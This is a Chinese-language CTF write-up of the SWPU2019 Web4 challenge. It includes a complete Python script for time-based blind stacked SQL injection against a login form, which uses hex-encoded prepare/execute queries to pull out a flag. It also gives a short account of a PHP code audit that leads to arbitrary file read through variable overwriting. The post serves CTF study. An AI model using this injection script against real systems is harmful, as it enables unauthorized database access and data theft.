CTF Web安全

[SWPU2019]Web4(堆叠注入+Thinkphp审计)

Posted on 2020-03-13,2 min read

注册界面关了。只有一个登陆。
普通的注入并没有啥效果。堆叠注入sleep执行了
以下是脚本

import requests
import time
from urllib.parse import unquote
r=requests.session()
slist='abcdefghijkmnlopqrstvuwxyzABCDEFGHIJKMNLOPQRSTVUWXYZ[](),{}_-1234567890.'
column=''
def hexpayload(s):
    a=''
    for i in s:
        a+=hex(ord(i)).replace('0x','')
    return a
for a in range(20,60):
    for b in slist:
        payload=hexpayload('select if(ascii(substr((select group_concat(flag) from flag),'+str(a)+',1))='+str(ord(b))+',sleep(5),1)')
        url='http://57708694-cc2c-4516-92f1-0793ad0cd3a8.node3.buuoj.cn/index.php?r=Login/Login'
        data={"username":"';set @a=0x"+str(payload)+";prepare execsql from @a;execute execsql;",
              "password":"123"
            }
        t1=time.time()
        r=requests.post(url=url,json=data)
        t2=time.time()
        print(str(a)+column)
        if t2-t1>5:
            column+=str(b)
            break

得到glzjin_wants_a_girl_friend.zip
是个thinkphp框架。开始审计
首先看index.php

包含了三个文件。第一个是数据库配置文件
第二个是用来跳转到其他路由的。
这里可以包含其他文件。


在view/userIndex.php中。我们发现了一个任意文件读取。但是$img_file参数不可控

之前可以包含其他文件。我们看下对应的UserController.php

利用如下:
index.php包含func.php用于路由
访问userControl.php下的index方法。传入r=User/Index
传入数字img_file。通过loadView方法后。进行变量覆盖。然后include/View/userIndex.php。进行任意文件读取
base64解码得到flag

下一篇: [SUCTF 2018]MultiSQL(sql读取文件+写入文件)→